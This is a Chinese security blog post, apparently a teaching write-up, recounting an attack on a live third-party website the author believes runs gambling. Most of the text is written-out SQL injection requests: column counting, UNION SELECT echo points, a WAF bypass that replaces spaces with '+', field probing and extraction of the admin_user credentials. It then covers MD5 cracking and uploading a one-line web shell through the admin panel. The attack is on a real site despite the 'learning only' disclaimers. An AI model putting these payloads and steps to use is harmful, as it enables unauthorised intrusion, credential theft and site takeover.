实战:一次简简单单的绕过注入

发布于 更新于
本文目录
  1. 0x00 写在前面
  2. 0x01 起因
  3. 0x02 sqlmap一把梭
  4. 0x03 手动测试
  5. 判断列数
  6. 判断回显点
  7. 绕过waf
  8. 判断字段
  9. 取出账号密码
  10. 0x04 解密
  11. 0x05 后台getshell
  12. 0x06 后话

技术文章Linux与数据库

本文章仅做学习之用,请勿用于非法测试和攻击!!!

0x00 写在前面

本文章仅做学习之用,请勿用于非法测试和攻击!!!

0x01 起因

上课的时候一直都在强调我们的学习都是从实战出发的,每次上课的时候本地搭建环境之后,都能在网上找到一样的环境。

这不,在昨天直播上课的时候,根据网站的后台找到了网上的一个一模一样的站点。

然后回到首页一看,哇,做hc的。。。。

那来一波?

0x02 sqlmap一把梭

因为这个站非常的简单,直接手动测试下,报错了

http://www.xxxx.com/view_detail.asp?id=78' 正常

http://www.xxxx.com/view_detail.asp?id=78' 报错

本来这个站就很熟悉了,这里漏洞基本判断也没有修复,所以直接sqlmap一把梭

啊这

直接给我报了一个500,难道存在waf?那就手动

0x03 手动测试

判断列数

http://www.xxxx.com/news_detail.asp?id=1156 order by 14 返回正常

http://www.xxxx.com/news_detail.asp?id=1156 order by 15 返回异常

所以一共有14列

判断回显点

http://www.xxxx.com/news_detail.asp?id=1156  UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14

果然有waf,针对这类waf绕过思路比较简单,将所有的空格字符替换为+即可

绕过waf

重新构造数据

http://www.xxxx.com/news_detail.asp?id=1156+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,1

绕过了,但是没有有效的表,经过对比本地的表,我盲猜有admin_user这个表

http://www.xxxx.com/news_detail.asp?id=1156+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+fRom+admin_user

果然,找到了回显数据的点,分别是2,4,5,7,10 这几个位置,那就开始出数据吧,从自行搭建的数据可以看出,存在<span class="ne-text">admin</span> <span class="ne-text">password</span> 这样的字段,那试一试看看

判断字段

http://www.xxxx.com/news_detail.asp?id=1156+and+eXists(sElect+admin+frOm+admin_user)

返回正常,存在admin字段,使用同样的方式验证password

http://www.xxxx.com/news_detail.asp?id=1156+and+eXists(sElect+password+frOm+admin_user)

页面返回正常,证明存在passowrd

取出账号密码

http://www.xxxx.com/news_detail.asp?id=1156+UNION+SELECT+1,   admin,3,password,5,6,7,8,9,10,11,12,13,14+From+admin_user

出数据了

0x04 解密

对md5解密

cmd5收费,证明可以解出来,那去另外几家试试

这密码够变态的

0x05 后台getshell

上课我们讲过,在网站名称这个地方是存在上传漏洞的

直接上传一句话,蚁剑连接

0x06 后话

这个网站是我们上课的时候讲过的,但是存在waf,但是不要怕,只要掌握原理,这个都不是问题

希望大家能够好好加油,学到真东西

tips:

点到为止,切记!!!

来源:testingpai

继续阅读